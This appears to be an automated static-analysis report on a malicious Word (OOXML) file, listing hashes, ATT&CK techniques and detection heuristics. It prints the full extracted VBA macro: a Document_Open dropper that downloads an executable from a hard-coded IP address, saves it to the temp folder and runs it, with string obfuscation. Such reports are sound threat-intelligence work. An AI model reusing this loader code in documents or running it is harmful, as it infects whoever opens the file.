Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 88efeae7ed8d8455…

MALICIOUS

Office (OOXML)

34.1 KB Created: 2018-10-26 18:16:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-09-30
MD5: f5418f09c53a00e931dc25f5c83d8643 SHA-1: baf49a885463c44a936041d4ba5568bdc7212850 SHA-256: 88efeae7ed8d8455708d66a8100dffe6c5c2c98c018301f7831af7cdc39d7e01
498 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document, as indicated by the Document_Open macro and the SE_ENABLE_LURE heuristic. This macro uses CreateObject("Microsoft.XMLHTTP") to download a second-stage executable from http://209.141.60.230/516.exe. The script then uses a reconstructed string 'the embedded link' to write the downloaded content to %TEMP%\qwerty2.exe and subsequently executes it using Shell(). The presence of the OLE_VBA_OBFUSCATED_SHELL_URL and OLE_VBA_HTTP_DROP_EXEC heuristics further supports this behavior.

Heuristics 12

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(Environ("Temp") + "\qwerty2.exe", 0)
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Call Shell(Environ("Temp") + "\qwerty2.exe", 0)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    xyuhjnx = WinHttpReq.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        oStream.SaveToFile Environ("Temp") + "\qwerty2.exe", Val("2FFF")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://209.141.60.230/516.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1352 bytes
SHA-256: 8c8fa99bffcb1918c857aed8ac427cb4f6dff1e6e744c50c4d6976bf5bab8daa
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    
WinHttpReq.Open "GET", "http://209.141.60.230/516.exe", False, "username", "password"
WinHttpReq.send

Dim first5 As String
    Dim second5 As String
    Dim last5 As String
    first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
    second5 = ChrW(97) & ChrW(109)
    last5 = first5 + second5

xyuhjnx = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject(last5)
    oStream.Open
    oStream.Type = Val("1FFF")
    oStream.Write WinHttpReq.responseBody
    
    Dim first6 As String
    Dim last6 As String
    first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
    last6 = first6
    
    oStream.SaveToFile Environ("Temp") + "\qwerty2.exe", Val("2FFF")
    oStream.Close
    
End If
 
Call Shell(Environ("Temp") + "\qwerty2.exe", 0)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 0d163ecf82bc94670c6c2b4ee1b505b5ac6fcb9052911e8a9c28d615ea045199
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: unlikely

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